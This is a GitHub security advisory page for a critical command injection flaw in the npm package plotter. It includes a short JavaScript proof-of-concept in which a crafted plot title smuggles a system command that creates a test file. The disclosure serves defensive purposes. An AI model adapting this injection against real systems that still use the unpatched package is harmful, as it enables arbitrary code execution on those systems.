Skip to content

Command Injection in plotter

Critical severity GitHub Reviewed Published Sep 4, 2020 to the GitHub Advisory Database • Updated Jan 9, 2023

Package

npm plotter (npm)

Affected versions

>= 0.0.0

Patched versions

None

Description

All versions of plotter are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a testing file in the current directory:

var plot = require('plotter').plot;

const title = 'Example "\nset title system("touch testing")#';

plot({
data: [ 3, 1, 2, 3, 4 ],
filename: 'output.pdf',
style: 'linespoints',
title: title,
logscale: true,
xlabel: 'time',
ylabel: 'length of string',
format: 'pdf'
});

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

References

Reviewed Aug 31, 2020
Published to the GitHub Advisory Database Sep 4, 2020
Last updated Jan 9, 2023

Severity

Critical

Weaknesses

CVE ID

No known CVE

GHSA ID

GHSA-65xx-c85x-wg76

Source code

No known source code
Checking history
See something to contribute? Suggest improvements for this vulnerability.